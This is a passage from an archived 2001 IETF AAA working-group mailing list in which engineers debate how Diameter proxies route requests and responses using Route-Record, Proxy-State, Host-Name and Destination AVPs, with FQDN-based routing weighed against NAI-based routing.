to the > originator? A proxy can put pretty much whatever it wants in the Proxy-State AVP. Right now, my code just adds the FQDN, but in the future I may need to also insert additional data. The Proxy-State is not used for routing per-say, but if one puts the information needed to route the message, then it could be. However, the use of the Proxy-State is implementation specific. > Can we really have a stateless proxy?, or is it a proxy that forwards a > Proxy-State AVP? my proxy is currently stateless. PatC From owner-aaa-bof@merit.edu Mon Feb 12 11:43:26 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA14207 for ; Mon, 12 Feb 2001 11:43:26 -0500 (EST) Received: by segue.merit.edu (Postfix) id 695045DE1E; Mon, 12 Feb 2001 11:43:08 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 577125DDCB; Mon, 12 Feb 2001 11:43:08 -0500 (EST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by segue.merit.edu (Postfix) with ESMTP id 285435DE08 for ; Mon, 12 Feb 2001 11:43:06 -0500 (EST) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id f1CGh5C01509 for ; Mon, 12 Feb 2001 17:43:05 +0100 (MET) Received: FROM esealnt743.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Mon Feb 12 17:44:14 2001 +0100 Received: by esealnt743.al.sw.ericsson.se with Internet Mail Service (5.5.2651.58) id <1DWQJ8VQ>; Mon, 12 Feb 2001 17:43:04 +0100 Message-ID: <577066326047D41180AC00508B955DDA01D7FEA9@eestqnt104.es.eu.ericsson.se> From: "Martin Julien (ECE)" To: "'Patrice Calhoun'" , Martin Julien Cc: aaa-wg@merit.edu Subject: RE: [AAA-WG]: Re: Response routing? Date: Mon, 12 Feb 2001 17:42:57 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-aaa-bof@merit.edu Precedence: bulk Thanks! That answers my question. However, do you think that we should leave a routing question answered by an application specific implementation, like yours in the first HOP proxy? Should it be specified in the draft that a first HOP proxy should keep a state info so that it can route back the response to the originator? Or possibly the Destination AVP used as the Destination Host-Name or the originator of the request? Only as a suggestion, would it be nice to have the Host-Name AVP replaced by Orig-Host-Name AVP, and the Destination AVP replaced by Dest-Host-Name AVP. Martin > -----Original Message----- > From: Patrice Calhoun [mailto:pcalhoun@nasnfs.eng.sun.com] > Sent: Monday, February 12, 2001 4:56 PM > To: Martin Julien > Cc: David Spence; aaa-wg@merit.edu; Patrice Calhoun > Subject: [AAA-WG]: Re: Response routing? > > > > Hi, > > > > Tell me if I'm wrong, but I thought that routing responses from a > > Diameter node was based on (as in -18 Base draft): > > > > 1) If there are Route-Record AVPs in the request (Query) > message, the > > last Route-Record AVP is used as the first HOP destination > of the reply. > > So the Route-Record AVPs are used until the last proxy before the > > originator of the request. However, from there, what AVP is > used for > > routing to the originator node? > > What I do, is that the first hop inserts a Proxy-State AVP. In the > Proxy-State-Info AVP, I include the FQDN of the originator of > the request. > Then I add my Record-Route AVP. > > > > > 2) If there is no Route-Record AVPs in the request, then > the reply is > > sent back to the originator of the request using the > Host-Name AVP of > > the request as the destination. However, this routing is > done at the IP > > level only, right? > Not using the Host-Name AVP. I insert the value of the > Host-Name AVP in my > Proxy-State-Info AVP. I am not sure what you mean by IP level > only, though. > This is all application level routing. > > > The STA (in the -18 draft of the Base protocol) defines the > > Routing-Realm AVP in its list of optional AVP in its > message structure. > > This is very confusing to me, since it suggests that > replies might not > > have to go through the same proxies. I guess responses > should never use > > the Routing-Realm AVP. > > That is correct, and I need to fix that up. Thanks for > pointing this error out > to me. > > > > > I thought that Proxy-State AVPs were not used for routing, > or are they? > > Are we suggesting that each proxy defines a Proxy-State AVP > or keeps an > > internal state so that it knows how to route back messages to the > > originator? > > A proxy can put pretty much whatever it wants in the > Proxy-State AVP. Right > now, my code just adds the FQDN, but in the future I may need > to also insert > additional data. The Proxy-State is not used for routing > per-say, but if one > puts the information needed to route the message, then it could be. > > However, the use of the Proxy-State is implementation specific. > > > Can we really have a stateless proxy?, or is it a proxy > that forwards a > > Proxy-State AVP? > my proxy is currently stateless. > > PatC > > From owner-aaa-bof@merit.edu Mon Feb 12 11:53:11 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA14564 for ; Mon, 12 Feb 2001 11:53:10 -0500 (EST) Received: by segue.merit.edu (Postfix) id 4C5125DEEC; Mon, 12 Feb 2001 11:52:26 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 3491B5DDCB; Mon, 12 Feb 2001 11:52:26 -0500 (EST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by segue.merit.edu (Postfix) with ESMTP id E87AF5DEAF for ; Mon, 12 Feb 2001 11:52:23 -0500 (EST) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id f1CGqMC05992 for ; Mon, 12 Feb 2001 17:52:22 +0100 (MET) Received: FROM esealnt743.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Mon Feb 12 17:53:32 2001 +0100 Received: by esealnt743.al.sw.ericsson.se with Internet Mail Service (5.5.2651.58) id <1DWQJ9DB>; Mon, 12 Feb 2001 17:52:21 +0100 Message-ID: <577066326047D41180AC00508B955DDA01D7FEAA@eestqnt104.es.eu.ericsson.se> From: "Martin Julien (ECE)" To: "Martin Julien (ECE)" , "'Patrice Calhoun'" Cc: aaa-wg@merit.edu Subject: RE: [AAA-WG]: Re: Response routing? Date: Mon, 12 Feb 2001 17:52:15 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2651.58) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-aaa-bof@merit.edu Precedence: bulk I meant the Destination AVP would be used for routing the last HOP, when no Route-Record AVP is available, because no other proxies are required to route to the originating server. However, adding a Route-Record AVP in the originating server of Request messages would simplify and make more consistent the routing scheme in proxies and I think would be much simpler to support, right? Martin > -----Original Message----- > From: Martin Julien (ECE) [mailto:Martin.Julien@ece.ericsson.se] > Sent: Monday, February 12, 2001 5:43 PM > To: 'Patrice Calhoun'; Martin Julien > Cc: aaa-wg@merit.edu > Subject: RE: [AAA-WG]: Re: Response routing? > > > Thanks! That answers my question. > > However, do you think that we should leave a routing question > answered by an application specific implementation, like > yours in the first HOP proxy? Should it be specified in the > draft that a first HOP proxy should keep a state info so that > it can route back the response to the originator? Or possibly > the Destination AVP used as the Destination Host-Name or the > originator of the request? > > Only as a suggestion, would it be nice to have the Host-Name > AVP replaced by Orig-Host-Name AVP, and the Destination AVP > replaced by Dest-Host-Name AVP. > > Martin > > > -----Original Message----- > > From: Patrice Calhoun [mailto:pcalhoun@nasnfs.eng.sun.com] > > Sent: Monday, February 12, 2001 4:56 PM > > To: Martin Julien > > Cc: David Spence; aaa-wg@merit.edu; Patrice Calhoun > > Subject: [AAA-WG]: Re: Response routing? > > > > > > > Hi, > > > > > > Tell me if I'm wrong, but I thought that routing responses from a > > > Diameter node was based on (as in -18 Base draft): > > > > > > 1) If there are Route-Record AVPs in the request (Query) > > message, the > > > last Route-Record AVP is used as the first HOP destination > > of the reply. > > > So the Route-Record AVPs are used until the last proxy before the > > > originator of the request. However, from there, what AVP is > > used for > > > routing to the originator node? > > > > What I do, is that the first hop inserts a Proxy-State AVP. In the > > Proxy-State-Info AVP, I include the FQDN of the originator of > > the request. > > Then I add my Record-Route AVP. > > > > > > > > 2) If there is no Route-Record AVPs in the request, then > > the reply is > > > sent back to the originator of the request using the > > Host-Name AVP of > > > the request as the destination. However, this routing is > > done at the IP > > > level only, right? > > Not using the Host-Name AVP. I insert the value of the > > Host-Name AVP in my > > Proxy-State-Info AVP. I am not sure what you mean by IP level > > only, though. > > This is all application level routing. > > > > > The STA (in the -18 draft of the Base protocol) defines the > > > Routing-Realm AVP in its list of optional AVP in its > > message structure. > > > This is very confusing to me, since it suggests that > > replies might not > > > have to go through the same proxies. I guess responses > > should never use > > > the Routing-Realm AVP. > > > > That is correct, and I need to fix that up. Thanks for > > pointing this error out > > to me. > > > > > > > > I thought that Proxy-State AVPs were not used for routing, > > or are they? > > > Are we suggesting that each proxy defines a Proxy-State AVP > > or keeps an > > > internal state so that it knows how to route back messages to the > > > originator? > > > > A proxy can put pretty much whatever it wants in the > > Proxy-State AVP. Right > > now, my code just adds the FQDN, but in the future I may need > > to also insert > > additional data. The Proxy-State is not used for routing > > per-say, but if one > > puts the information needed to route the message, then it could be. > > > > However, the use of the Proxy-State is implementation specific. > > > > > Can we really have a stateless proxy?, or is it a proxy > > that forwards a > > > Proxy-State AVP? > > my proxy is currently stateless. > > > > PatC > > > > > From owner-aaa-bof@merit.edu Mon Feb 12 11:59:42 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA14901 for ; Mon, 12 Feb 2001 11:59:42 -0500 (EST) Received: by segue.merit.edu (Postfix) id DED235DE21; Mon, 12 Feb 2001 11:59:12 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id CE9A85DE16; Mon, 12 Feb 2001 11:59:12 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 91FAE5DE08 for ; Mon, 12 Feb 2001 11:59:10 -0500 (EST) Received: from engmail3.Eng.Sun.COM ([129.144.170.5]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA28631; Mon, 12 Feb 2001 08:59:06 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA26883; Mon, 12 Feb 2001 08:59:01 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id IAA00094; Mon, 12 Feb 2001 08:58:59 -0800 (PST) Date: Mon, 12 Feb 2001 08:58:59 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: [AAA-WG]: Record-Route on Originating Diameter node (was: Response routing?) To: "Martin Julien (ECE)" Cc: "'Patrice Calhoun'" , aaa-wg@merit.edu In-Reply-To: "Your message with ID" <577066326047D41180AC00508B955DDA01D7FEAA@eestqnt104.es.eu.ericsson.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk Correct, having ALL Diameter nodes add their Record-Route AVP would make for a much more consistent scheme. Do people want/think that NASes and FAs should add this, and require less special code on the first hop? PatC > I meant the Destination AVP would be used for routing the last HOP, when no > Route-Record AVP is available, because no other proxies are required to > route to the originating server. > > However, adding a Route-Record AVP in the originating server of Request > messages would simplify and make more consistent the routing scheme in > proxies and I think would be much simpler to support, right? > > Martin > > > -----Original Message----- > > From: Martin Julien (ECE) [mailto:Martin.Julien@ece.ericsson.se] > > Sent: Monday, February 12, 2001 5:43 PM > > To: 'Patrice Calhoun'; Martin Julien > > Cc: aaa-wg@merit.edu > > Subject: RE: [AAA-WG]: Re: Response routing? > > > > > > Thanks! That answers my question. > > > > However, do you think that we should leave a routing question > > answered by an application specific implementation, like > > yours in the first HOP proxy? Should it be specified in the > > draft that a first HOP proxy should keep a state info so that > > it can route back the response to the originator? Or possibly > > the Destination AVP used as the Destination Host-Name or the > > originator of the request? > > > > Only as a suggestion, would it be nice to have the Host-Name > > AVP replaced by Orig-Host-Name AVP, and the Destination AVP > > replaced by Dest-Host-Name AVP. > > > > Martin > > > > > -----Original Message----- > > > From: Patrice Calhoun [mailto:pcalhoun@nasnfs.eng.sun.com] > > > Sent: Monday, February 12, 2001 4:56 PM > > > To: Martin Julien > > > Cc: David Spence; aaa-wg@merit.edu; Patrice Calhoun > > > Subject: [AAA-WG]: Re: Response routing? > > > > > > > > > > Hi, > > > > > > > > Tell me if I'm wrong, but I thought that routing responses from a > > > > Diameter node was based on (as in -18 Base draft): > > > > > > > > 1) If there are Route-Record AVPs in the request (Query) > > > message, the > > > > last Route-Record AVP is used as the first HOP destination > > > of the reply. > > > > So the Route-Record AVPs are used until the last proxy before the > > > > originator of the request. However, from there, what AVP is > > > used for > > > > routing to the originator node? > > > > > > What I do, is that the first hop inserts a Proxy-State AVP. In the > > > Proxy-State-Info AVP, I include the FQDN of the originator of > > > the request. > > > Then I add my Record-Route AVP. > > > > > > > > > > > 2) If there is no Route-Record AVPs in the request, then > > > the reply is > > > > sent back to the originator of the request using the > > > Host-Name AVP of > > > > the request as the destination. However, this routing is > > > done at the IP > > > > level only, right? > > > Not using the Host-Name AVP. I insert the value of the > > > Host-Name AVP in my > > > Proxy-State-Info AVP. I am not sure what you mean by IP level > > > only, though. > > > This is all application level routing. > > > > > > > The STA (in the -18 draft of the Base protocol) defines the > > > > Routing-Realm AVP in its list of optional AVP in its > > > message structure. > > > > This is very confusing to me, since it suggests that > > > replies might not > > > > have to go through the same proxies. I guess responses > > > should never use > > > > the Routing-Realm AVP. > > > > > > That is correct, and I need to fix that up. Thanks for > > > pointing this error out > > > to me. > > > > > > > > > > > I thought that Proxy-State AVPs were not used for routing, > > > or are they? > > > > Are we suggesting that each proxy defines a Proxy-State AVP > > > or keeps an > > > > internal state so that it knows how to route back messages to the > > > > originator? > > > > > > A proxy can put pretty much whatever it wants in the > > > Proxy-State AVP. Right > > > now, my code just adds the FQDN, but in the future I may need > > > to also insert > > > additional data. The Proxy-State is not used for routing > > > per-say, but if one > > > puts the information needed to route the message, then it could be. > > > > > > However, the use of the Proxy-State is implementation specific. > > > > > > > Can we really have a stateless proxy?, or is it a proxy > > > that forwards a > > > > Proxy-State AVP? > > > my proxy is currently stateless. > > > > > > PatC > > > > > > > > From owner-aaa-bof@merit.edu Mon Feb 12 11:59:54 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA14928 for ; Mon, 12 Feb 2001 11:59:53 -0500 (EST) Received: by segue.merit.edu (Postfix) id 2A0975DDE6; Mon, 12 Feb 2001 11:59:13 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 157255DE08; Mon, 12 Feb 2001 11:59:13 -0500 (EST) Received: from mx.databus.com (p101-44.acedsl.com [160.79.101.44]) by segue.merit.edu (Postfix) with ESMTP id 66F9A5DDE6 for ; Mon, 12 Feb 2001 11:59:10 -0500 (EST) Received: (from barney@localhost) by mx.databus.com (8.11.1/8.11.1) id f1CGwi168377; Mon, 12 Feb 2001 11:58:44 -0500 (EST) (envelope-from barney) Date: Mon, 12 Feb 2001 11:58:44 -0500 From: Barney Wolff To: David Spence Cc: David Frascone , aaa-wg@merit.edu, diameter@diameter.org Subject: Re: [AAA-WG]: Re: Host-Name and Destination-NAI AVPs Message-ID: <20010212115843.A68301@mx.databus.com> References: <20010212081345.C28602@newman.frascone.com> <3A880B13.E2BB282D@Interlinknetworks.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <3A880B13.E2BB282D@Interlinknetworks.com>; from DSpence@Interlinknetworks.com on Mon, Feb 12, 2001 at 11:10:59AM -0500 Sender: owner-aaa-bof@merit.edu Precedence: bulk And suppose my proxy behaves like the 800-lb gorilla? Since you can't enforce any particular routing algorithm on a proxy, and can't even do a good job of detecting "violations" from upstream, why try to specify it? I still don't get it - 80% of the reason for going through a proxy is that you don't know where the right server is, and really don't want to know. So why all this fuss on having things closer to the NAS try to tell the proxies what to do? I'm having that Through-the-Looking-Glass feeling here. Barney Wolff On Mon, Feb 12, 2001 at 11:10:59AM -0500, David Spence wrote: > > I'm not sure if you fully see what my issue is. My issue is how do proxies > "route" Diameter messages? If you route on User-Name, then you have a realm > routing table that routes on names selected from the realm name-space. If > you had to route on a Destination AVP and that AVP contains an FQDN, then > you would be routing on a name selected from the DNS which is a different > name space. My point is that routing (except perhaps at the last hop) > should always be on the basis of names selected from the same name space. From owner-aaa-bof@merit.edu Mon Feb 12 12:05:16 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA15059 for ; Mon, 12 Feb 2001 12:05:15 -0500 (EST) Received: by segue.merit.edu (Postfix) id E15795DE70; Mon, 12 Feb 2001 12:00:38 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id CFD265DE3D; Mon, 12 Feb 2001 12:00:38 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 0523E5DE16 for ; Mon, 12 Feb 2001 12:00:37 -0500 (EST) Received: from engmail3.Eng.Sun.COM ([129.144.170.5]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA22142; Mon, 12 Feb 2001 09:00:16 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA24642; Mon, 12 Feb 2001 08:46:32 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id IAA29951; Mon, 12 Feb 2001 08:46:26 -0800 (PST) Date: Mon, 12 Feb 2001 08:46:25 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: RE: [AAA-WG]: Re: Response routing? To: "Martin Julien (ECE)" Cc: "'Patrice Calhoun'" , Martin Julien , aaa-wg@merit.edu In-Reply-To: "Your message with ID" <577066326047D41180AC00508B955DDA01D7FEA9@eestqnt104.es.eu.ericsson.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > However, do you think that we should leave a routing question answered by an > application specific implementation, like yours in the first HOP proxy? > Should it be specified in the draft that a first HOP proxy should keep a > state info so that it can route back the response to the originator? Or > possibly the Destination AVP used as the Destination Host-Name or the > originator of the request? Yes, the next version will have all of these procedures defined much clearer. > Only as a suggestion, would it be nice to have the Host-Name AVP replaced by > Orig-Host-Name AVP, and the Destination AVP replaced by Dest-Host-Name AVP. What would these be used for? PatC > > Martin > > > -----Original Message----- > > From: Patrice Calhoun [mailto:pcalhoun@nasnfs.eng.sun.com] > > Sent: Monday, February 12, 2001 4:56 PM > > To: Martin Julien > > Cc: David Spence; aaa-wg@merit.edu; Patrice Calhoun > > Subject: [AAA-WG]: Re: Response routing? > > > > > > > Hi, > > > > > > Tell me if I'm wrong, but I thought that routing responses from a > > > Diameter node was based on (as in -18 Base draft): > > > > > > 1) If there are Route-Record AVPs in the request (Query) > > message, the > > > last Route-Record AVP is used as the first HOP destination > > of the reply. > > > So the Route-Record AVPs are used until the last proxy before the > > > originator of the request. However, from there, what AVP is > > used for > > > routing to the originator node? > > > > What I do, is that the first hop inserts a Proxy-State AVP. In the > > Proxy-State-Info AVP, I include the FQDN of the originator of > > the request. > > Then I add my Record-Route AVP. > > > > > > > > 2) If there is no Route-Record AVPs in the request, then > > the reply is > > > sent back to the originator of the request using the > > Host-Name AVP of > > > the request as the destination. However, this routing is > > done at the IP > > > level only, right? > > Not using the Host-Name AVP. I insert the value of the > > Host-Name AVP in my > > Proxy-State-Info AVP. I am not sure what you mean by IP level > > only, though. > > This is all application level routing. > > > > > The STA (in the -18 draft of the Base protocol) defines the > > > Routing-Realm AVP in its list of optional AVP in its > > message structure. > > > This is very confusing to me, since it suggests that > > replies might not > > > have to go through the same proxies. I guess responses > > should never use > > > the Routing-Realm AVP. > > > > That is correct, and I need to fix that up. Thanks for > > pointing this error out > > to me. > > > > > > > > I thought that Proxy-State AVPs were not used for routing, > > or are they? > > > Are we suggesting that each proxy defines a Proxy-State AVP > > or keeps an > > > internal state so that it knows how to route back messages to the > > > originator? > > > > A proxy can put pretty much whatever it wants in the > > Proxy-State AVP. Right > > now, my code just adds the FQDN, but in the future I may need > > to also insert > > additional data. The Proxy-State is not used for routing > > per-say, but if one > > puts the information needed to route the message, then it could be. > > > > However, the use of the Proxy-State is implementation specific. > > > > > Can we really have a stateless proxy?, or is it a proxy > > that forwards a > > > Proxy-State AVP? > > my proxy is currently stateless. > > > > PatC > > > > From owner-aaa-bof@merit.edu Mon Feb 12 12:08:50 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA15116 for ; Mon, 12 Feb 2001 12:08:50 -0500 (EST) Received: by segue.merit.edu (Postfix) id B577A5DEEF; Mon, 12 Feb 2001 12:05:23 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 9C54C5DEEE; Mon, 12 Feb 2001 12:05:23 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 252715DEE4 for ; Mon, 12 Feb 2001 12:05:22 -0500 (EST) Received: from engmail1.Eng.Sun.COM ([129.146.1.13]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA12135; Mon, 12 Feb 2001 09:05:18 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA06358; Mon, 12 Feb 2001 09:05:17 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id JAA00245; Mon, 12 Feb 2001 09:05:16 -0800 (PST) Date: Mon, 12 Feb 2001 09:05:15 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: Re: [AAA-WG]: Re: Host-Name and Destination-NAI AVPs To: Barney Wolff Cc: David Spence , David Frascone , aaa-wg@merit.edu, diameter@diameter.org In-Reply-To: "Your message with ID" <20010212115843.A68301@mx.databus.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > And suppose my proxy behaves like the 800-lb gorilla? Since you > can't enforce any particular routing algorithm on a proxy, and > can't even do a good job of detecting "violations" from upstream, > why try to specify it? I think that one of the fundamental problems with RADIUS is it's lack of specification in proxying. I believe that it doesn't hurt to "suggest" how a proxy can route packets, and let the more experienced developers come up with better scheme. This way we can assume that all Diameter implementations will at least do what the protocol was intended to do. PatC From owner-aaa-bof@merit.edu Mon Feb 12 12:20:48 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA15339 for ; Mon, 12 Feb 2001 12:20:48 -0500 (EST) Received: by segue.merit.edu (Postfix) id C22065DEA4; Mon, 12 Feb 2001 12:19:44 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 9F7DB5DEC6; Mon, 12 Feb 2001 12:19:44 -0500 (EST) Received: from aaa.interlinknetworks.com (interlink.merit.edu [198.108.95.110]) by segue.merit.edu (Postfix) with ESMTP id 755F15DEA4 for ; Mon, 12 Feb 2001 12:19:43 -0500 (EST) Received: from Interlinknetworks.com (unknown [198.108.5.3]) by aaa.interlinknetworks.com (Postfix) with ESMTP id A4C9775; Mon, 12 Feb 2001 12:19:54 -0500 (EST) Message-ID: <3A881B2F.B15EE9E7@Interlinknetworks.com> Date: Mon, 12 Feb 2001 12:19:43 -0500 From: David Spence Organization: Interlink Networks, Inc. X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Patrice Calhoun Cc: aaa-wg@merit.edu, diameter@diameter.org Subject: Re: [AAA-WG]: Host-Name and Destination-NAI AVPs References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Patrice Calhoun wrote: >... > Indication messages are just like request and queries. They will be routed > based on the User-Name, or the Routing-Realm AVP. The Host-Name is present, > but only for information, and no routing is performed based on this AVP. How about server-to-client Indication messages? The realm in the User-Name points the wrong way (to the home organization or server, not the service provider or client). The only use for Routing-Realm specified in Alpha2 was in place of User-Name for client-to-server messages. So how are server-to-client messages routed? I thought they were routed using the Host-Name AVP which prior to your proposal contained a realm. >... > I see the confusion. The new text would state that routing of request, queries > or indication messages is done through: - Routing-Realm AVP > - User-Name AVP > > When the domain portion of the AVP is determined to be local, then the server > looks for the Destination AVP to see if the message needs to be routed to a > particular server within the domain. Think of this as the difference between > forwarding a packet based on its ARP address, as opposed to routing a packet. So AVPs containing FQDNs are only used for routing at the last hop. O.K. > > Now, the justification: > - All Responses and Answers are forwarded using the Record-Route AVP. The You mean Route-Record AVP. > Record-Route AVP contains an FQDN. This format allows a Server to be > dynamically discovered using DNS (or some other mechanism), but does require > that the clients file now contain a host's FQDN instead (or an IP Address > which is resolved at runtime). - Since the clients file (or the structure > created) includes the FQDN, it seems to make sense to change the Destination > to now include the FQDN, and a quick lookup in the clients entries would > determine whether the server can be contacted directly or not. An NAI would > require more work on the part of the software where it would have to dissect > the NAI, construct an FQDN, then perform the clients file lookup. Yes, I'm o.k. with using an FQDN at the last hop. > > > One possibility is that you could create an AVP of type Grouped that would > > contain two AVPs: one indicating the realm and the other the FQDN. The > > realm would be used for routing at all but the last hop, and the FQDN would > > be used for the last hop routing decision. > > Sure, but the Routing-Realm or User-Name is *already* present. Why another AVP? I wasn't sure they were always present. And anyway, how do server-to-client Indication messages get routed? > > I don't believe that some of the messages that currently contain Host-Name > > or Destination-NAI AVPs currently contain any other AVP encoding the realm > > to which the message should be routed. For example the STI message contains > > no other AVP except the Host-Name AVP that could be used for routing. > > ::= < Diameter Header: 274 > > < Session-Id > > { Host-Name } > { User-Name } > { Destination-NAI } > * [ AVP ] > * [ Proxy-State ] > * [ Route-Record ] > * [ Routing-Realm ] > 0*1< Integrity-Check-Value > > Ah, but this is a totally different STI definition than the one (Alpha2) I was looking at. This one has both Route-Record and Routing-Realm. > > > > I think routing on the FQDNs themselves (except at the last hop) is a bad > > idea for the following reasons: > > > > 1) Creating a route table for FQDNs I think would be very difficult. What > > part of the FQDN do I route on? With an NAI, I route on the part after the > > @ sign except at the last hop. > > Again, messages are not routed based on the FQDN. Messages are only forwarded > to the host, if the host in the FQDN AVP is recognized as being one that the > local server can communicate with directly. > > > > > 2) Creating a route table for FQDNs is unapealing because proxies would then > > need two route tables: one for realms and one for FQDNs. > > Right, and I agree this would be bad. > > > > > 3) Many different realms may be served by the same Diameter server. I am > > not absolutely sure that the routing to the server should always be the same > > for all of the realms served by the server. I can imagine that different > > proxies and brokers might be involved in the chain even though the endpoint > > is the same. Even if this does not need to be the case, it may be anyway > > because it will be difficult to enforce consistency between the realm > > routing table and the FQDN routing table. If the proxies and brokers keep > > state information, inconsistent routing for messages relating to the same > > session would be problematic. For example, the Access-Response and > > Session-Termination-Indication messages for a given session should follow > > the same route. Therefore they should use the same routing table. > > correct. > > > > > Another possibility is that you could use something like the Record-Route > > system for routing on FQDNs. Then there is no need for an FQDN routing > > table, and all messages of a session take the same route. But sessions may > > be long-lived, so this idea creates backup-recovery problems. > > Again, the Destination AVP does introduce a backup-recovery problem, and MUST > only be used when the destination is fixed. Messages like the STI fall under > this category. > > > > > In conclusion, if I've recreated your line of thinking properly, then I > > really don't like the above proposal and would prefer to keep using NAIs. > > But, of course, I may have misunderstood entirely. > > Now that I've cleared it up, please let me know what you think. > > Thanks for the feedback, and agfain I appologize for not justifying my > proposal. > > PatC -- David Spence email: DSpence@Interlinknetworks.com Interlink Networks, Inc. phone: (734) 821-1203 775 Technology Drive, Suite 200 fax: (734) 821-1235 Ann Arbor, MI 48108 U.S.A. From owner-aaa-bof@merit.edu Mon Feb 12 12:26:23 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA15483 for ; Mon, 12 Feb 2001 12:26:22 -0500 (EST) Received: by segue.merit.edu (Postfix) id CFE865DE16; Mon, 12 Feb 2001 12:26:04 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id BF67F5DE08; Mon, 12 Feb 2001 12:26:04 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 9363D5DDCB for ; Mon, 12 Feb 2001 12:26:03 -0500 (EST) Received: from engmail1.Eng.Sun.COM ([129.146.1.13]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA00792; Mon, 12 Feb 2001 09:26:02 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA11898; Mon, 12 Feb 2001 09:26:01 -0800 (PST) Received: from darius 